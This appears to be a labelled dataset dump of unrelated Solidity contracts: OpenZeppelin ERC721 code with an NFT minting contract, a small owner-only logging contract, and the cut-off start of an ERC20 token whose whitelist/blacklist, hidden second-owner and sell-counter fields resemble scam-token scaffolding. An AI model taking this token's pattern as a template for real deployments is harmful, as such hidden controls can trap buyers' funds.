* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract MasterFuruNft is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.069 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 20;
bool public paused = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
}
|
True
|
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] |
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CAStoreContract is Ownable {
using SafeMath for uint;
event DataStored(bytes32 field1, bytes32 field2, bytes32 field3, bytes32 field4);
function storeData
(bytes32[] fields1, bytes32[] fields2, bytes32[] fields3, bytes32[] fields4)
public onlyOwner {
for (uint i = 0; i < fields1.length; i++) {
emit DataStored(fields1[i], fields2[i], fields3[i], fields4[i]);
}
}
}
|
True
|
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1065,
1065,
102
] |
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pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BeyondProtocol is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
